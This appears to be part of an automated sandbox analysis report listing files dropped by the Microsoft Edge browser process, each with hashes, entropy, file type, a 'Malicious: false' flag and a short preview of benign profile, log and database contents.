C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\9f1c998f-6737-4e37-8c47-94d2346ea45b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State~RF45688.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3f3c7.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\e37513d7-5137-4924-8854-c9060ce67461.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.231968872198423
Encrypted:	false
SSDEEP:	6:PUIq2PN723oH+TcwtzjqEKj0QMxIFUt8cZZmw+cXWPkwON723oH+TcwtzjqEKj0b:lvVaYebvqBZFUt8e/+/P5OaYebvqBaJ
MD5:	50111564C3A5EA7DD30BF0D7C63BB36C
SHA1:	F8CCFC6E3E4EEBFEF50A0F42051E0AB597C62DF5
SHA-256:	A534B1252670C4EAA23DB951AFDB7FF03A45423AF1BA2D00A0F0E7873DC1EA1B
SHA-512:	DFBB65EC82CCF7BC9AB6AD1380D79B326341E24ECA8742BE75C99E0129A97DC429E58F4290A73101E17E03E545F1BDB52FF0EA9F5D14F67F3B0546C5EE9F55EE
Malicious:	false
Preview:	2024/10/29-10:27:52.797 1cd4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/10/29-10:27:52.798 1cd4 Recovering log #3.2024/10/29-10:27:52.801 1cd4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.231968872198423
Encrypted:	false
SSDEEP:	6:PUIq2PN723oH+TcwtzjqEKj0QMxIFUt8cZZmw+cXWPkwON723oH+TcwtzjqEKj0b:lvVaYebvqBZFUt8e/+/P5OaYebvqBaJ
MD5:	50111564C3A5EA7DD30BF0D7C63BB36C
SHA1:	F8CCFC6E3E4EEBFEF50A0F42051E0AB597C62DF5
SHA-256:	A534B1252670C4EAA23DB951AFDB7FF03A45423AF1BA2D00A0F0E7873DC1EA1B
SHA-512:	DFBB65EC82CCF7BC9AB6AD1380D79B326341E24ECA8742BE75C99E0129A97DC429E58F4290A73101E17E03E545F1BDB52FF0EA9F5D14F67F3B0546C5EE9F55EE
Malicious:	false
Preview:	2024/10/29-10:27:52.797 1cd4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/10/29-10:27:52.798 1cd4 Recovering log #3.2024/10/29-10:27:52.801 1cd4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.229492534556703
Encrypted:	false
SSDEEP:	6:PNtqM+q2PN723oH+TcwtpIFUt8cNzZmw+cNOMVkwON723oH+Tcwta/WLJ:l8M+vVaYebmFUt8Az/+AOMV5OaYebaUJ
MD5:	D3372AA76AE644A7473C813CF6D1EAF6
SHA1:	404DA769443754752949D211A9DDCFA4C254CB09
SHA-256:	F46CDA10EFC634A0231787DA2080B6EB73757D5AAC95B8F612C1B1364DA4D28F
SHA-512:	0C39394D0A0E0C32B967EA40332C5ED75A38965002B63C997B3D73196E5E4E5FC480CC2EAF6A825A2F84D828F3D58E2C7A252C6DF325A6DDD8CBE037CCD17932
Malicious:	false
Preview:	2024/10/29-10:27:35.743 176c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/10/29-10:27:35.745 176c Recovering log #3.2024/10/29-10:27:35.745 176c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.229492534556703
Encrypted:	false
SSDEEP:	6:PNtqM+q2PN723oH+TcwtpIFUt8cNzZmw+cNOMVkwON723oH+Tcwta/WLJ:l8M+vVaYebmFUt8Az/+AOMV5OaYebaUJ
MD5:	D3372AA76AE644A7473C813CF6D1EAF6
SHA1:	404DA769443754752949D211A9DDCFA4C254CB09
SHA-256:	F46CDA10EFC634A0231787DA2080B6EB73757D5AAC95B8F612C1B1364DA4D28F
SHA-512:	0C39394D0A0E0C32B967EA40332C5ED75A38965002B63C997B3D73196E5E4E5FC480CC2EAF6A825A2F84D828F3D58E2C7A252C6DF325A6DDD8CBE037CCD17932
Malicious:	false
Preview:	2024/10/29-10:27:35.743 176c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/10/29-10:27:35.745 176c Recovering log #3.2024/10/29-10:27:35.745 176c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2675012653818127
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMySA1LyKOMq+8iP5GDHP/0jMVum5:Kq+n0Jy91LyKOMq+8iP5GLP/0c
MD5:	D169E0EFCDCDEEAD546BFF3101852FBA
SHA1:	D07D5FB439D6D1BCE820EE0D716154B164EC4FA3
SHA-256:	786D2264585416C19AB9F16D99DB0ABDEF1BAF74690DED4374037BAA505A550C
SHA-512:	0AF99B8283D3D7398FBC4A6F5789367ADC9352FE87C5BEB58D4FE71F2165426EB410E19E15E078304A91A62079C6D90511FA5965F1E03C54367FBDE7425E7B43
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.46737180759527797
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0cXL:v7doKsKuKZKlZNmu46yjx08
MD5:	1749F6A6EEF64EFB47EC0636EFC3629E
SHA1:	23767C58DC0D83A6FCF833914F9A2CDA2857A3A4
SHA-256:	9659027DC02DECE119B694C94289A4F1504CD33348585CC15479D271C99B0C5C
SHA-512:	B0BA56558E762286287BEA97ECFD210209F3F82071B30820400D6C93188509047556C4AF78716A81D3425F6B0307C528452014D133D506662FFC50B4A420394C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\acfd1c92-3017-4e4d-9fb2-b0279ecac110.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12851
Entropy (8bit):	5.221842265894229
Encrypted:	false
SSDEEP:	192:st4J9pQTryZigaba4uypp9smEaFvrE9kd92Hde8jbV+F8mQA3U9PqYJ:st4LA3u4HsmECDkbGJQnp
MD5:	85A1B52DDCF5F5FC0195A2AF2FAF3675
SHA1:	950DF8FA8B5EABD65FE2AF2DEF320C544BB356CD
SHA-256:	8B41AF1922CA5E75EC7FDDBCF92FEBD373FFB3187890F35A2CBB8E83C1D178CE
SHA-512:	5AA66B48CE6A4F01AA5DA92B5C978F604CC4A07AF4EB61E7621335CD9FD067EC4B55CB1274B3FF816CE9B52C60B99E8F9E0084933F6406267652F4B3F50FE865
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374685656513144","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117794":{"last_path":""},"380c71d3-10bf-4a5d-9a06-c932e4b7d1d8":{"last_path":""},"3a2f4dee-d482-4ef8-baef-cb22b6496

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\c202696f-a921-4d1c-8a9c-33bce01a6c34.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (17020), with no line terminators
Category:	dropped
Size (bytes):	17020
Entropy (8bit):	5.486198064162634
Encrypted:	false
SSDEEP:	192:st4J9pQTryZigaba4uypp9smEaFvrEAhkdwHdL/gKLklql7Le8jbV+F8mQwK3U9z:st4LA3u4HsmECDVfHOYbbGJQwdp
MD5:	46B39A7D7BD5A6233ADFCF4317513539
SHA1:	C55C326ED6B65D1AABF9D13791944ACAB1BDCDA3
SHA-256:	9CB9484301E3EE8E02C9CC5D01DE73240BC42933BBC4B3DC2102479C518B7AA9
SHA-512:	AFEE01B4E0E3EA90024FE34DEECC1E9E2DB1DEC0964757D3D5396363B85436F9042D20B0AF67EC25A1C3EDA7EE042646D6F663298058257E5844F66052CE13E6
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374685656513144","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117794":{"last_path":""},"380c71d3-10bf-4a5d-9a06-c932e4b7d1d8":{"last_path":""},"3a2f4dee-d482-4ef8-baef-cb22b6496

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\c3406150-1cab-4cca-affd-1c5f2138eda9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\cf66260f-e62d-4522-b6ac-76a696513a49.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\f0d9fea9-bb46-4985-a64c-f9b7865e8694.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	MS Windows icon resource - 8 icons, 16x16, 32 bits/pixel, 20x20, 32 bits/pixel
Category:	dropped
Size (bytes):	71757
Entropy (8bit):	6.771708343960135
Encrypted:	false
SSDEEP:	1536:vAlMWz7vLDtDSVlXXwpFlorgLUxF+D4n6owPFCawP/:vvuWAUxFaoGw/
MD5:	E5E3377341056643B0494B6842C0B544
SHA1:	D53FD8E256EC9D5CEF8EF5387872E544A2DF9108
SHA-256:	E23040951E464B53B84B11C3466BBD4707A009018819F9AD2A79D1B0B309BC25
SHA-512:	83F09E48D009A5CF83FA9AA8F28187F7F4202C84E2D0D6E5806C468F4A24B2478B73077381D2A21C89AA64884DF3C56E8DC94EB4AD2D6A8085AC2FEB1E26C2EF
Malicious:	false
Preview:	............ .h............. ............... ......... .... .........((.... .h....%..00.... ..%..>@..@@.... .(B...e........ .?p......(....... ..... ..........................................w...x...y...v...j...c...\...N...........................w.<.w...y...x...]...P...M...N...N...N...M...H.<.............w.<.w...y...{...]...P...O...Q...R...P...O...N...K...H.<.........w...y...{...p...P...P...Q...S...Q...P..N...N..K...K.......w...y...{...\|...i...Q...P...S...R.......................I.W.....y...{...}.......c...Q...Q...U.W......3<..6.i.?.V.D.L.L.@.Q<.....{...}..........n...P...S............3.7...;.f.B.P.P.D.U.8.[W.}................P...P.s..........3...7...<.g.H.c.O.R.Y.?.].................u...J...........6..8...?...E.o.O.U.W.L._..............................$...7...@...J.o.O.b.].L.f..+..............................0...;...J...S.h.].X.e.../..0.................!.........2...<...G...P.i.g.Y.m.......1..2..0...0.......+......*...1...8...C...M.~.^.m.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\fa9b0465-6891-471e-8457-3fec9396a71c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	39694
Entropy (8bit):	5.562779677167749
Encrypted:	false
SSDEEP:	768:Qksp6DWdY7pLGLpsmW5wPTf4Xt8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPorSRIKni:QbcDqEcpsmWaPTfItu1jaFrShgKJbSi0
MD5:	8D1109843EB3EED6DE52B4A9D3810B86
SHA1:	9E56E83BFE700CFE7DFCFFA0B2A1D7527A217A8D
SHA-256:	859CE95EA9C335F16ABC92FC404897F913DE3A0144E9D594C7FDC04A6F893302
SHA-512:	51723ABC0E2093421FC80998B53B29C6FB7A874828C39E0066A403941B053FA7BDEAE5DAA9A62D431B3372DA0EBFC9B2F1550243BD80F8E79480DC365AF59596
Malicious:	false
